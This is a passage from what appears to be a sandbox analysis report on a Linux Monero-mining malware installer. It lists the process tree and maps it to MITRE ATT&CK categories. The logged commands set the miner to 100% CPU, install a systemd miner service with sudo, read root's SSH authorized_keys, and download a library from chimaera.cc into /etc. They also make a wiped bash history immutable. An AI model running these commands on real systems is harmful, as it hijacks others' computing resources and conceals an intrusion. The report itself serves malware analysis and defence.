"transparent;border-radius:50%;border-top-color:#313131;box-sizing:border-box;display:block;position:absolute}.lds-ring" "div:first-child{animation-delay:-.45s}.lds-ring" "div:nth-child(2){animation-delay:-.3s}.lds-ring" "div:nth-child(3){animation-delay:-.15s}@keyframes" "lds-ring{0%{transform:rotate(0)}to{transform:rotate(1turn)}}@media" screen and "(-ms-high-contrast:active),screen" and "(-ms-high-contrast:none){.main-wrapper,body{display:block}}</style><meta" "http-equiv=\"refresh\"" "content=\"375\"></head><body" "class=\"no-js\"><div" "class=\"main-wrapper\"" "role=\"main\"><div" "class=\"main-content\"><noscript><div" "id=\"challenge-error-title\"><div" "class=\"h2\"><span" "id=\"challenge-error-text\">Enable" JavaScript and cookies to "continue</span></div></div></noscript></div></div><script>(function(){window._cf_chl_opt={cvId:" "'3',cZone:" "\"chimaera.cc\",cType:" "'managed',cNounce:" "'26652',cRay:" "'8722f6cc78d89491',cHash:" "'ed8deb8e2ce57dc',cUPMDTk:" "\"\\/data\\/xmrig\\/wallet.rotate.suckers.txt?__cf_chl_tk=k38ILQ0z6q6yaYLzJs0AJdeQAB5nAQTVRCHaI6K9FVE-1712754490-0.0.1.1-1599\",cFPWv:" "'b',cTTimeMs:" "'1000',cMTimeMs:" "'375000',cTplV:" "5,cTplB:" "'cf',cK:" "\"visitor-time\",fa:" "\"\\/data\\/xmrig\\/wallet.rotate.suckers.txt?__cf_chl_f_tk=k38ILQ0z6q6yaYLzJs0AJdeQAB5nAQTVRCHaI6K9FVE-1712754490-0.0.1.1-1599\",md:" "\"S3Dr0L_ebZi0aSsICpbe1T0.vyF5TJHwvn3argzKcJg-1712754490-1.1.1.1-R9mDWaClCPyb4yt0.oWdYCKrPRWt9SBIk27rwQt9qs2DArCITV.IWNaCPuOgvBb4ye5.bsrbZWS70l9jzhwQ0oWwgByGWi6I7TTq_7J6E7..ZOD4jqGF85gWVyKQX.T_i5AghMdhQDQKEqBQXD0BPjRoL9VJlJFwKWnyxd.R7.g71hhMMx6qKsj.1870FneiLPlg0F0kWROji8UOoE1Swx.WcFPF0kQXMzFvFdBLrHjBKlnZNmmrHxCygpHCckhwohJvUlJuCXpUW7vICEQJyafeBY0AaA8JW9zaoXgzatg3U4dZO3p91r2TJ8pZQm8n2KrIQvgOg7UVSqbS70rOxL_E14gjHUoHMa14HGQs2dhOspIHcWLi4ziwJ0rSIrc8987xpRgPFaTa8kUzH7SQcZzNVEUhf2CTqEjBbheU3XArhdBv55m9qwJ_bzFTGoi7SmwRH9fGbXMIR7ARrXYGS9TJU7S9KKc6kbKGHnxh8Nf7xjZzIOwEwExpkYzXYxdV1RCJJfdXB1LocWCzR..CHlOeElkiMYErYOhlJgagS2nHpW7mdw2hOeVN.iOJq977QFEl8QLZCEd.TklCJYIf78_s0pfdhXwrUDK6SfHM7fgMot__abK_1rvT..49GG7OYw0wLqWcyHiIMEHnUVDBIUR50voHwM3br9Xyi__Zws0kZZuPAWxO.TMuA500iO2ZB_f1._aM8uz7NfW2Q2KwPJ8QVq_o4eXW_.3BgVHq_CX3eop_pUKUDVoEggSLZHeVXAOyU_MVDVx6_nAbNa_642PmjnEI3EL.aq32JPQ0Uenz16XsZhCeqEyfpBKc6QOFBnG9McreBNp4yMD9c4IdHx2XhoYIpWD2qIOk7fU0hHheLLVAYC6tsKEDdTlzaBuCoBouxKsXXLTfgTU2C2cU3gplXWVXDYz_8EUyy7pFtAMO0oTXVhQjN3wJMjNBETiex4noOqScDRf42GLmp1ILW82UWZlI2xdUdNtNZ3705hxjeJhSIlslmOr1J0iojTT2IuFPDm64CPmGSD15m5NxY09AUfOi26OYnMO8LEeRCLbhjrqr0lRzT8BxdQxJ2BQH2ez8U87uj7dQPmm0AuklXClKR2N8Yx.q685h_Wa36qnbVsiNpt7XpMkGbHyJYzgh.qTNeWCcPll6apSfZKmYeRN.IYCtJDOiPepitW9v97vyMO3CyBtvGf1FOufN25gtO.2NdEe0JYhi_1NrbcXPGWVKbl3bX4FB1cLpFvl4QXxDxd9QYWhEdCfU_0VYE7aEIVHpuIwaxp12AcKlpiWbwkX7OIuHidl6cgSqVDtpRJZHFx1kKDajq8ilGDo852wq2Mvnd59G79PT6vX2aBKg3aglrltLSq5DkjfgXRvWV0fqvPDEDtTTSHUBXkPNN4xdJhaWgAcf9xdOxUv1yUbaNgIp0drQW75YXE49gG0kvmg_dvQFf..Rn.qgm19e8jtSo9ahTu3VGV4TPJQ1YpqZRAnJpnBpkIf1lwWCwgmYke2np2BLnk_h05603e8h3Qje\",mdrd:" "\"tiNCykVmUlx6BNyrTzqPyC2HtGoXrYt4E3qQu4k_muY-1712754490-1.1.1.1-jW.Q0fKQDHf8ZuJaSNN1EdD3HPQp3Ho8XXfjJwGGWHng2P_m2s4gyKMYs08jV6DTcA_25HjJwQFJi7MrYWYIQR1s8pBXy2kkPMgfwNZk22OPrcMdh9f4U33hw0ZLCAw3S_hkx5qD1TflYroeH8tkVvXbP_SmyhwmtbuHVUDOreLGlUVcrEI2r4fXVThfSYAVkXZcdGuMwo8HghhWsuEkwl1wjEQR_DQY2RCP1buYhpNJx.C.je6VuVFntPqnNS.kqXdmmbCmfa_OjTorC97QcoMsbdNkGsjsB5Q.s4T51O0cThrmVH_Eal0sDT4PJhRyPSr0gJgyb5vJepeXEYFg4xwvVPLvO8z8FFO19qVaPQapPDNi8gQXV3UMdNgNxnlAtHq7qUlVZzQBjqQDoJxvb1c1Pf1SQacHpCMBLBHam7p5Q9veY6cxEOriQdkLjqXkkFwHzTZ.1gJZhxtxsJ5cDkFgCMZnpZ9tPITyJfNXCE5buynSR5XaDRGlJ0eHo_gqSmKHhBzIMGaopUY9he8VHg\",cRq:" "{ru:" "'aHR0cDovL2NoaW1hZXJhLmNjL2RhdGEveG1yaWcvd2FsbGV0LnJvdGF0ZS5zdWNrZXJzLnR4dA==',ra:" "'Y3VybC83LjU4LjA=',rm:" "'R0VU',d:" "'thlRAiLGHH/KeJDG9eDCHUzkCNcPc6m3yPVNwci3V7D4vG9okXwY6JlzsNXUjubNy6m7gkhhRoQmTw2S7VUwoT0kAFs7j1cPoeNg/mB2K0VRAXTCIj7LlkskA+jIqynxfk8eLTACvbVj3rKS+KlYWEehXmNdOaqUiK/6Rr7Sts2zc1wJyua7ENOYsUzrc/6+fVmMNL5M8+qMnFmzOYsbCYjDI+k/05SSrksjKtMv680N83ks80iCyWn6giQ2EFHqKnxZn/KI2qPH/ABXQPqpb8jvKL5ZO4pk8ZFug6co6nXhgmfzJeDh27jty6u5C59Wu3dcsoXO+lT9r/bmIdZLBPGuNHd2pzBbuRm3UUU94ZObWNySwprSEsbCP1fFrrVEkomZhiEkN1BsMF6Mbgmv/841FLesf6qElmtuog1qu+9KpkOHd6ABhF5DKUZCq0l2AnH3VTPsWH6ygE7e0NJ66uqF7H4kxJRUmk6//7UM5tHPJabLJokr2teDC5GZ9rffl5M7ccLeChX0df9ase+R3+9rGptCMEjdUCwCjTRA19Y=',t:" "'MTcxMjc1NDQ5MC4zMjUwMDA=',cT:" "Math.floor(Date.now()" / "1000),m:" "'VpgChHdv/V/IRtaWAyWuH1eA7SUEQHnts4fvykLiDjQ=',i1:" "'S/IxqJxjZ0XtKbgVgCOHow==',i2:" "'IWNZzus4DcY/jsQb4w+bjQ==',zh:" "'BE3yDcBJfISHS68G5yvzzMRy5hSN+SzSUcAzErYYXY4=',uh:" "'3eCW9wmHFxRdeO8XVCuzIxmX/hZFk4VAcqHhoWaSI4Q=',hh:" "'Tg7bwaAfwqyBlelbU/iswxId9ucV5mZDRctkcf04SJ0=',}};var" cpo "=" "document.createElement('script');cpo.src" "=" "'/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=8722f6cc78d89491';window._cf_chl_opt.cOgUHash" "=" location.hash "===" "''" "&&" "location.href.indexOf('#')" "!==" -1 "?" "'#'" : "location.hash;window._cf_chl_opt.cOgUQuery" "=" location.search "===" "''" "&&" "location.href.slice(0," location.href.length - "window._cf_chl_opt.cOgUHash.length).indexOf('?')" "!==" -1 "?" "'?'" : "location.search;if" "(window.history" "&&" "window.history.replaceState)" "{var" ogU "=" location.pathname + window._cf_chl_opt.cOgUQuery + "window._cf_chl_opt.cOgUHash;history.replaceState(null," "null," "\"\\/data\\/xmrig\\/wallet.rotate.suckers.txt?__cf_chl_rt_tk=k38ILQ0z6q6yaYLzJs0AJdeQAB5nAQTVRCHaI6K9FVE-1712754490-0.0.1.1-1599\"" + "window._cf_chl_opt.cOgUHash);cpo.onload" "=" "function()" "{history.replaceState(null," "null," "ogU);}}document.getElementsByTagName('head')[0].appendChild(cpo);}());</script></body></html>\",/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  PID:1649
- /bin/sed
  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu1804-amd64-20240226-en-9\",/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1650
- /bin/sed
  sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1651
- /bin/sed
  sed -i "s#\"log-file\": *null,#\"log-file\": \"/usr/sbin/moneroocean/xmrig.log\",#" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1652
- /bin/sed
  sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  - Reads runtime system information
  PID:1653
- /bin/cp
  cp /usr/sbin/moneroocean/config.json /usr/sbin/moneroocean/config_background.json
  2⤵
  - Write file to user bin folder
  PID:1654
- /bin/sed
  sed -i "s/\"background\": *false,/\"background\": true,/" /usr/sbin/moneroocean/config_background.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1655
- /bin/cat
  cat
  2⤵
  PID:1656
- /bin/chmod
  chmod +x /usr/sbin/moneroocean/miner.sh
  2⤵
  PID:1657
- /usr/bin/sudo
  sudo -n true
  2⤵
  PID:1658
- - /bin/true
    true
    3⤵
    PID:1659
- /bin/cat
  cat
  2⤵
  PID:1663
- /usr/bin/sudo
  sudo mv /tmp/moneroocean_miner.service /etc/systemd/system/moneroocean_miner.service
  2⤵
  PID:1664
- - /bin/mv
    mv /tmp/moneroocean_miner.service /etc/systemd/system/moneroocean_miner.service
    3⤵
    PID:1665
- /usr/bin/sudo
  sudo killall xmrig
  2⤵
  PID:1666
- - /usr/bin/killall
    killall xmrig
    3⤵
    - Reads runtime system information
    PID:1667
- /usr/bin/sudo
  sudo systemctl daemon-reload
  2⤵
  PID:1668
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1669
- /usr/bin/sudo
  sudo systemctl enable moneroocean_miner.service
  2⤵
  PID:1690
- - /bin/systemctl
    systemctl enable moneroocean_miner.service
    3⤵
    PID:1691
- /usr/bin/sudo
  sudo systemctl start moneroocean_miner.service
  2⤵
  PID:1712
- - /bin/systemctl
    systemctl start moneroocean_miner.service
    3⤵
    - Reads runtime system information
    PID:1713
- /bin/mkdir
  mkdir -p /root/.ssh/
  2⤵
  PID:1715
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:1716
- /usr/bin/curl
  curl -Lk http://chimaera.cc/so/xmrig.so -o /etc/lib.so
  2⤵
  PID:1717
- /bin/rm
  rm -fr /usr/sbin/.bash_history
  2⤵
  PID:1724
- /usr/bin/touch
  touch /usr/sbin/.bash_history
  2⤵
  - Write file to user bin folder
  PID:1725
- /usr/bin/chattr
  chattr +i /usr/sbin/.bash_history
  2⤵
  - Attempts to change immutable files
  PID:1726
- /bin/sleep
  sleep 3
  2⤵
  PID:1727
- /usr/bin/clear
  clear
  2⤵
  PID:1728

/usr/bin/awk
awk "{print \$5}"
1⤵
PID:1590

/bin/ls
ls -al /.dockerenv
1⤵
PID:1589

/usr/bin/bc
bc -l
1⤵
PID:1601

/usr/bin/cut
cut -f1 -d.
1⤵
PID:1646

/bin/hostname
hostname
1⤵
PID:1645

/bin/sed
sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
1⤵
PID:1647

/usr/bin/awk
awk "{print \$2}"
1⤵
PID:1662

/bin/grep
grep MemTotal /proc/meminfo
1⤵
PID:1661

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

Privilege Escalation

Hijack Execution Flow

Defense Evasion

Hijack Execution Flow

Virtualization/Sandbox Evasion

Credential Access

Discovery

System Information Discovery

Virtualization/Sandbox Evasion